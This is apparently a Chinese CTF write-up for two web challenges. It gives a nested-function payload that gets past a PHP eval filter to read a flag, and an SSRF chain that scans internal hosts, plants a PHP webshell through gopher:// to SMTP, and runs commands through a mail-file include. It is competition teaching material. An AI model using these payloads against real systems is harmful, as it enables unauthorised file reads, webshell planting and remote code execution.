0%

上海市大学生网络安全比赛

0x00 闲白

没什么好说的,就做了两道Web,一道是安恒杯原题,一道是字节跳动题的改编

0x01 正文

Web1 decade

看源码

src in /code and flag is in this page

进入/code目录

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
highlight_file(__FILE__);
$code = $_GET['code'];
if (!empty($code)) {
if (';' === preg_replace('/[a-z]+\((?R)?\)/', NULL, $code)) {
if (preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log/i', $code)) {
echo 'bye~';
} else {
eval($code);
}
}
else {
echo "No way!!!";
}
}else {
echo "No way!!!";
}

浏览源码,很容易知道题意就是要读取文件内容,并且只能函数套用a(b(c()));这样的形式。

读取文件

最理想的读文件方式:

1
readfile(end(scandir('.')))

但是,首先()中不能有值,其次readfile被过滤了。所以就想办法替换。使用

chr(ord(strrev(crypt(serialize(tmpfile())))))可获取.但是拥有随机性。

fuzz得到fileserialize没有被过滤。

file函数返回的数组,但是_被过滤,所以不能打印被读取文件的内容,所以只能想办法把数组变成字符串。

正好serialize没有被过滤,并且序列化后返回字符串类型,也就可以使用echo打印出来

1
serialize(file(end(scandir(chr(ord(strrev(crypt(serialize(tmpfile())))))))))

这里有个问题,file函数只能读取当前目录文件,所以还需要进入上级目录

切换目录

进入上级目录可以使用chdir函数

如上面一样,直接放payload

1
chdir(next(scandir(chr(ord(strrev(crypt(serialize(tmpfile()))))))));

拼接payload

这里需要知道一个知识点

无参函数中的0里传入任意值,不影响函数执行,正好tmpfile是这样的函数

这样最终payload:

1
code=echo(serialize(file(end(scandir(chr(ord(strrev(crypt(serialize(tmpfile(chdir(next(scandir(chr(ord(strrev(crypt(serialize(tmpfile())))))))))))))))))));

用burp进行多次访问,最后可获取flag

fuzz脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
error_reporting(0);
$_=array();
$j=0;
for ($i=0; $i < count(get_defined_functions()['internal']) ; $i++) {
if (!preg_match('/readfile|if|time|local|sqrt|et|na|nt|strlen|info|path|rand|dec|bin|hex|oct|pi|exp|log|xdebug|prvd|_/i', get_defined_functions()['internal'][$i])) {
$_[$j]=get_defined_functions()['internal'][$i];
$j++;
}
}

$myfile = fopen("function.txt", "w") or die("Unable to open file!");
try {
for ($i=0; $i < count($_); $i++) {
$_ = "\n";
fwrite($myfile,$_[$i]);
fwrite($myfile,$_);
if(!is_null($_[$i]())){
echo $_[$i];
var_dump($_[$i]());
}
}
} catch (\Throwable $th) {
//throw $th;
}

这样做的原因:

  • 获取没过滤函数
  • 通过浏览器发现一些无参函数
  • 找无参函数的返回值

Web2 babyt5

1
2
3
4
5
6
7
8
9
10
11
12
<?php
highlight_file(__FILE__);
$x = $_GET['x'];
$pos = strpos($x,"php");
if($pos){
exit("denied");
}
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,"$x");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$result = curl_exec($ch);
echo $result;

安恒杯一摸一样的题(SSRF),就说一下思路

urlencode二次加密绕过strpos()

1
?x=file:///proc/self/cwd/flag.ph%2570

看源码知道

1
2
</code><?php
//there is no flag /etc/hosts

/etc/hosts文件

1
?x=file:///etc/hosts

结果:

1
2
3
4
5
6
7
</code>127.0.0.1	localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
172.18.0.3 1a59decff560

172.18.0.3这个ip很耀眼,进行C段扫描,发现172.18.0.2中也是有内容的。

1
?x=http://172.18.0.2:80

结果

1
</code><!-- include $_GET[a]; -->

然后端口扫描,发现25端口也开着。就是邮箱口子开着,我们可以通过Gogher协议写shell,然后进行连接

查看邮箱接收人

1
?x=http://172.18.0.2/?a=/etc/postfix/main.cf

上传shell

1
x=gopher://172.18.0.2:25/_%4d%41%49%4c%25%32%30%46%52%4f%4d%3a%68%68%68%25%34%30%64%64%34%30%38%38%32%62%61%30%65%61%25%30%41%52%43%50%54%25%32%30%54%6f%3a%77%77%77%2d%64%61%74%61%25%34%30%6c%6f%63%61%6c%68%6f%73%74%25%30%41%44%41%54%41%25%30%41%46%72%6f%6d%3a%68%68%68%25%34%30%64%64%34%30%38%38%32%62%61%30%65%61%25%30%41%53%75%62%6a%65%63%74%3a%68%68%68%68%68%25%30%41%4d%65%73%73%61%67%65%3a%25%33%63%25%33%66%25%37%30%25%36%38%25%37%30%25%32%30%25%36%35%25%37%36%25%36%31%25%36%63%25%32%38%25%32%34%25%35%66%25%34%37%25%34%35%25%35%34%25%35%62%25%33%31%25%35%64%25%32%39%25%33%62%25%32%30%25%33%66%25%33%65%25%30%41%2e

连接shell读取flag

1
x=http://172.18.0.2/?a=/var/mail/www-data%261=system('cat%25%32%30/Th7s_Is_Flag');